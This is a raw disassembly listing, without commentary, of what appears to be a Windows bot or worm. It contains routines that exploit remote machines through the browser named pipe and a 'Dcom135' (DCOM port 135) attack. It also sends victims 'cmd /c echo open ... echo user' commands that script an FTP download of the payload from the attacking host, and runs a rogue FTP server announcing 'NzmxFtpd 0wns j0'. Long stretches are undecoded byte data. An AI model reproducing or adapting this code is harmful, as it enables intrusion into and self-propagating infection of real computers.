8Ch ; Œ db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 24h ; $ db 3Eh ; > db 1 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; † db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; è db 9Ch ; œ db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 93h ; “ db 29h ; ) db 1 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 0DCh ; Ü db 6Eh ; n db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 80h ; € db 0E0h ; à db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 2670000h nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] call near ptr 2660000h nop test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 265089Dh jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2650000h push ebx call sub_4186B1 push eax call sub_417302 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730C mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_436F00 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730C cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_436EF8 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] nop call near ptr 265089Dh push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26702E9h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2650000h test eax, eax jnz short loc_404E03 call near ptr 26702AAh nop cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2670201h cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0C2h ;  db 24h ; $ db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 77h ; w db 0C4h ; Ä db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 0B6h ; ¶ db 0C8h ; È db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 83h ; ƒ db 0EDh ; í db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 0E8h ; è db 0ABh ; « db 0EFh ; ï db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 74h ; t db 0F6h ; ö db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0Ch db 6Fh ; o db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0FCh ; ü db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; Ü db 89h ; ‰ db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 0A3h ; £ db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0D7h ; × db 0CBh ; Ë db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 33h ; 3 db 0CBh ; Ë db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 90000007h, 21B81BE8h, 0FB834302h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F674 push eax push eax push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-0Eh], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j nop call near ptr 71AB1A6Dh loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43AD98 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h nop call near ptr 26207A4h push offset byte_42F674 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push esi call dword_43AE30 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call near ptr 71AB2BBFh nop mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax nop call near ptr 71AB12F8h mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 call near ptr 71AB3C22h nop test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi nop call near ptr 71AB3E5Dh test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi call near ptr 71AB1AF4h nop push 3E8h nop call near ptr 26207A4h sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi nop call near ptr 71AB8629h push edi call near ptr 71AB1A6Dh nop loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi nop call near ptr 71AB41DAh push edi call sub_4186B1 push eax call sub_417302 push 0FEB0h push 406h call sub_415450 add esp, 10h mov dword_436F0C, eax push edi push ebx push 2 nop call near ptr 71AB3C22h mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi nop call near ptr 71AB3F8Dh lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_436F0C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call near ptr 71AB1746h nop mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call near ptr 71AB3ECEh nop test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi call near ptr 71AB5DE2h nop mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax nop call near ptr 71AB1890h cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h, 83716B31h dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C6E857h, 8590716Bh, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi nop call near ptr 71AB1A6Dh jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea 